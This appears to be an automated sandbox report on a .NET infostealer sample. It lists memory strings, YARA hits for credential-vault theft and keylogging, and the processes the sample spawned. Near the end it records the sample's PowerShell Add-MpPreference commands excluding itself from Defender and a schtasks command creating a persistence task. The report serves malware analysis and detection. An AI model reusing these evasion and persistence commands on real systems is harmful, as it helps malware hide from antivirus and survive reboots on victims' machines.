Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4183914195.0000000006916000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000165D000.00000004.00000020.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4183914195.0000000006916000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000165D000.00000004.00000020.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4182176227.0000000006B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4167963900.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002FBD000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.hoangtruongphat.com
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.0000000001256000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4183914195.0000000006916000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000165D000.00000004.00000020.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000168E000.00000004.00000020.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4182176227.0000000006B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1725787312.00000000030EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 00000009.00000002.1763743018.0000000002BEF000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4167911158.0000000000436000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4167963900.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4183914195.0000000006916000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000165D000.00000004.00000020.00020000.00000000.sdmp, PUwpftrjIH.exe, 0000000C.00000002.4182176227.0000000006B94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, K6raBsUk6.cs

.Net Code: HQNz1j4

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.53d0000.4.raw.unpack, LoginForm.cs

Large array initialization: : array initializer size 33603

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_012483E7	0_2_012483E7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_01248718	0_2_01248718
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_01246FE0	0_2_01246FE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_01247320	0_2_01247320
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_01248491	0_2_01248491
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_01246FD0	0_2_01246FD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_0124730E	0_2_0124730E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_0124735A	0_2_0124735A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_0124783B	0_2_0124783B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_0840A360	0_2_0840A360
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_08404848	0_2_08404848
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_08404839	0_2_08404839
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_08404C80	0_2_08404C80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_0840CE00	0_2_0840CE00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_08406E80	0_2_08406E80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_0840A35D	0_2_0840A35D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_08404410	0_2_08404410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_084064CC	0_2_084064CC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 0_2_084064D0	0_2_084064D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_011D4AC8	7_2_011D4AC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_011D3EB0	7_2_011D3EB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_011D41F8	7_2_011D41F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06EDB5A8	7_2_06EDB5A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06ED33C0	7_2_06ED33C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06ED0040	7_2_06ED0040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06EDEA56	7_2_06EDEA56
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06ED6880	7_2_06ED6880
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06ED89B8	7_2_06ED89B8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06ED9103	7_2_06ED9103
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06EDAEC8	7_2_06EDAEC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06ED5A90	7_2_06ED5A90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Code function: 7_2_06ED0006	7_2_06ED0006
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_00F883F0	9_2_00F883F0
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_00F88702	9_2_00F88702
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_00F86FE0	9_2_00F86FE0
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_00F8738A	9_2_00F8738A
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_00F88491	9_2_00F88491
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_00F86FD0	9_2_00F86FD0
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_083F4839	9_2_083F4839
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_083F4848	9_2_083F4848
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_083FC0A0	9_2_083FC0A0
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_083F43F0	9_2_083F43F0
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_083F4C80	9_2_083F4C80
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_083F64D0	9_2_083F64D0
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_083F64C2	9_2_083F64C2
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 9_2_083F6E80	9_2_083F6E80
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_019C4AC8	12_2_019C4AC8
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_019C3EB0	12_2_019C3EB0
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_019C41F8	12_2_019C41F8
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_0727B5A8	12_2_0727B5A8
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_072733C0	12_2_072733C0
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_07270040	12_2_07270040
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_0727EA56	12_2_0727EA56
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_072789B8	12_2_072789B8
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_07276880	12_2_07276880
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_07279103	12_2_07279103
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_0727AEC8	12_2_0727AEC8
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_07275A90	12_2_07275A90
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Code function: 12_2_07270006	12_2_07270006

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1732623801.00000000055B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameschtasks.exej% vs SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1736070739.0000000008780000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1724540848.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1725787312.00000000030EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamef1ad12be-2b70-45c4-8a59-88eaf27e05b9.exe4 vs SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1727481234.0000000003E49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamef1ad12be-2b70-45c4-8a59-88eaf27e05b9.exe4 vs SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1732156143.00000000053D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4168596099.0000000000F78000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Binary or memory string: OriginalFilenameyiQW.exe: vs SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 7.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e84d70.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: PUwpftrjIH.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, c2bZQnG.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, c2bZQnG.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, Q1L0K.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, Q1L0K.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, uo1UBaEHa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, uo1UBaEHa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, uo1UBaEHa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.3e49550.2.raw.unpack, uo1UBaEHa.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, LnprZyFhkO4Ahy0mDa.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, lxuIxS626uPP3Z2gJP.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4bc7b20.0.raw.unpack, LnprZyFhkO4Ahy0mDa.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.8780000.7.raw.unpack, LnprZyFhkO4Ahy0mDa.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/15@4/3

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

File created: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

File created: C:\Users\user\AppData\Local\Temp\tmp32DE.tmp

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	ReversingLabs: Detection: 42%
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Virustotal: Detection: 38%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
